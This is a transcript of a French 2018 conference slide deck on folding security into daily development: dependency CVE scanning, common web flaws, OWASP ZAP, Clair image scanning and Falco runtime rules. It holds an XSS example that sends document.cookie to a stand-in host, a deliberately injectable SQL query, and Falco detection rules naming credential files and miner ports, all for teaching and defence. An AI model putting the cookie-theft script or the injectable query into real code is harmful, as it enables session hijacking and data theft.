Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Intégrez la sécu dans votre quotidien avant qu'il ne soit trop tard!

Intégrez la sécu dans votre quotidien avant qu'il ne soit trop tard!

Houssem BELHADJ AHMED

April 19, 2018
Tweet

More Decks by Houssem BELHADJ AHMED

Other Decks in Technology

Transcript

  1. Pourquoi ce talk ? Toutes ces entreprises ont été victime

    d’un vol données : - 2012 / 2016 : plus de 160 millions de comptes LinkedIn dans la nature - 2013 : 150 millions de comptes Adobe - 2016 : 80 millions de comptes dailymotion - Etc… Source : https://haveibeenpwned.com
  2. Pourquoi ce talk ? Certaines failles ont touchés (et touchent

    encore) des millions de sites : - 2014 : Shellshock - 2014 : Heartbleed - 2017 : Meltdown - 2017 : Spectre - Etc.
  3. Contexte Application type “Twitter” - Mixtwitt - Spring Boot, Java

    8 - AngularJS, jQuery - Docker, traefik - Intégration Continue : Jenkins
  4. Etape 1 : Dépendances Première étape : nos dépendances sont-elles

    sûres ? - Maintenue / Éprouvée ? - Mise à jour récente ? - Affectée par une CVE connue ? Mais au fait, c’est quoi une CVE ?
  5. Etape 1 : Dépendances CVE ~ Common Vulnerability Exposure -

    Wikipedia : Dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. - Pour faire simple : c’est une vulnérabilité, connue, détaillée et exposée publiquement. - Maintenu par différents organismes
  6. Etape 1 : Dépendances CVE ~ Focus sur CVE-2016-1000031 -

    Apache Commons FileUpload - Très utilisée. - Souvent présente de manière transitive : plus de 1 300 artifact l’utilisent ! - Faille : Remote Code Execution - Facilement exploitable - Souvent présente dans une dépendance directe, ou transitive - Une seule solution possible : mise à jour
  7. Etape 1 : Dépendances Maintenir ses dépendances à jour ?

    - Maven : mvn versions:display-dependency-updates - NPM : npm outdated - PHP : composer outdated - Etc. Questions : - Comment automatiser ? - Comment être averti des mises à jours ? - Mes dépendances sont-elles vulnérables ?
  8. Etape 1 : Dépendances Vérifier ses dépendances sur une base

    de CVE - Plugin Maven : OWASP Dependency-Check - Plugin NPM : retire
  9. Etape 1 : Dépendances Dépendances Front -- NPM - Installation

    : npm install --save retire - Automatisation : npm run retire
  10. Etape 1 : Dépendances Dépendances Back -- Maven - Installation

    : ajout du plugin dans le fichier pom.xml - Automatisation : mvn dependency-check:check
  11. Etape 2 : Failles Applicatives Failles Applicatives : nombreuses possibilités...

    - SQL Injection - XSS ~ Cross Site Scripting - CSRF ~ Cross Site Request Forgery - Timing Attack - Remote Code Execution - Path Traversal - Etc.
  12. Etape 2 : Failles Applicatives Focus sur quelques failles :

    SQL Injection - Détournement d’une requête SQL - Risques principaux : bypass de login, dump de la base données Exemple : SELECT id, nom FROM users WHERE login = ‘“ + login + “‘ “ AND password = ‘“ + password + “‘“
  13. Etape 2 : Failles Applicatives Focus sur quelques failles :

    XSS ~ Cross Site Scripting - Injection de code JavaScript - Risques principaux : vol de cookies, vol de tokens, usurpation d’identité Exemple : <script> var src = "http://domain.com/" + (document.cookie); new Image().src = src; </script>
  14. Etape 2 : Failles Applicatives Retour CTF MiXiT 2017 -

    Failles connues mais peu maîtrisées (SQL Injection) - Méconnaissance sur les risques (XSS, Remote Code Execution) - Peu d’assurance sur le code produit Conclusion : - Besoin d’automatisation - Besoin de vérifications au jour le jour
  15. ZAP - Zed Attack Proxy - Un outil open source

    de l’OWASP - Il sert à trouver des failles de sécurités dans les applications web - Utilisé pour les développeurs, les débutants en sécurités, ainsi que par les professionnels - URL : https://github.com/zaproxy
  16. ZAP - Zed Attack Proxy Deux modes : - Passif

    ◦ Analyse tout le trafic entre le navigateur et l'application web. ◦ Cherche les problèmes liés à la configuration (Headers de sécurité qui manquent etc.). ◦ Peut être utiliser directement sur l’environnement de production (pas d’actions sur les données). - Actif ◦ Utilise des attaques connues pour détecter des vulnérabilités potentielles ◦ NE PAS UTILISER EN PROD OU SUR UNE APPLICATION QUE VOUS NE POSSÉDEZ PAS ! ;)
  17. ZAP - Zed Attack Proxy Vérifications en mode passif :

    - Cookies : Secure Flag, HTTPOnly Flag - Headers : - X-XSS-Protection - X-Content-Type-Options - X-Frame-Options - Content-Security-Policy (via extension) - Exposition d’adresses “privées” - Erreurs applicatives : les messages d’erreur peuvent donner beaucoup d’informations… - Etc.
  18. ZAP - Zed Attack Proxy Vérifications en mode actif :

    - Directory Browsing - Path Traversal - Server Side Include - Command Injection - XSS ~ Cross Site Scripting - SQL Injection - Etc.
  19. ZAP - Zed Attack Proxy Push Build Docker Build Deploy

    Env éphémère Dependency check Test Tests d'intrusion automatisés
  20. Docker Docker CONTAINER Java App custom-java:latest CONTAINER PHP Ubuntu:latest CONTAINER

    Debian:8.0 App htop sshd openssl chrome firefox Static Files Apache
  21. Docker Hub A Study of Security Vulnerabilities on Docker Hub

    Rui Shu, Xiaohui Gu and William Enck North Carolina State University - Etude publiée le 22 mars 2017 de Rui Shu, Xiaohui Gu & William Enck (Université de Caroline du Nord) - > 300 000 d’images unique analysées (Avril 2016) - > 80% des images officielles sont vulnérable à des failles de sévérité élevés - Les images officielles contiennent moins de failles que les images tierces de la communauté - https://dl.acm.org/citation.cfm?id=3029832
  22. - open source system for analyzing container images for vulnerabilities

    - static analysis for fast, reproducible results - extensible to allow for easy addition of new analyzers, reporters, image formats, etc - URL : https://github.com/coreos/clair
  23. Clair Debian Security Bug Tracker Ubuntu CVE Tracker Red Hat

    Security Data ... Registrable components Third party Other components
  24. Clair - Comment ça marche ? FROM node:latest # Upgrade

    packages RUN apt-get update && apt-get upgrade -y # Create app directory RUN mkdir -p /usr/src/app WORKDIR /usr/src/app # Install app dependencies COPY package.json /usr/src/app/ RUN npm install # Bundle app source COPY . /usr/src/app EXPOSE 8080 CMD [ "npm", "start" ] Dockerfile • Metadata : (id, parent id, command, environment …) • Filesystem diff : (which files have been added/modified/removed) Image Layer • Operating system ◦ /etc/os-release, /etc/apt/sources.list, … • Package list ◦ /var/lib/dpkg/status, /var/lib/rmp/Packages... For each layer, find the:
  25. Falco - open source behavioral activity monitoring - native support

    for containers - URL : https://github.com/draios/falco
  26. Falco - Comment ça marche ? Kernel CONTAINER 1 CONTAINER

    2 APP Syscalls are turned into events with context : • The process name performing the system call • The process’s parents, grandparents, etc • The remote IP address to which the process is communicating • ... Syscalls
  27. Falco - Exemples A shell is run in a container

    Condition: container.id != host and proc.name = bash Write to directory holding system binaries Condition: open_write and not package_mgmt_binaries and bin_dir System binary makes outbound connection Process other than skype tries to access camera Condition: evt.type = open and fd.name = /dev/video0 and proc.name != skype Condition: open_connection and proc.name in (ls, ps, mkdir, … )
  28. Falco - Default rules - list: sensitive_file_names items: [/etc/shadow, /etc/sudoers,

    /etc/pam.conf] - macro: sensitive_files condition: > fd.name startswith /etc and (fd.name in (sensitive_file_names) or fd.directory in (/etc/sudoers.d, /etc/pam.d)) - rule: Read sensitive file untrusted desc: > an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. condition: > sensitive_files and open_read and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, ... output: > Sensitive file opened for reading by non-trusted program ... priority: WARNING
  29. Falco - Custom rule - rule: Detect crypto miners using

    the Stratum protocol desc: Miners typically specify the mining pool to connect to with a URI that begins with 'stratum+tcp' condition: proc.cmdline contains stratum+tcp output: Possible miner ran inside a container (command=%proc.cmdline %container.info) priority: WARNING - list: miner_ports items: [ 3333, 4444, 8333, 7777, 7778, 3357, 3335, 8899, 8888, 5730, 5588, 8118, 6099, 9332 ] - macro: miner_port_connection condition: fd.sport in (miner_ports) - rule: Detect outbound connections to common miner pool ports desc: Miners typically connect to miner pools on common ports. condition: node_app_frontend and outbound and miner_port_connection output: "Outbound connection to common miner port (command=%proc.cmdline port=%fd.rport %container.info)" priority: WARNING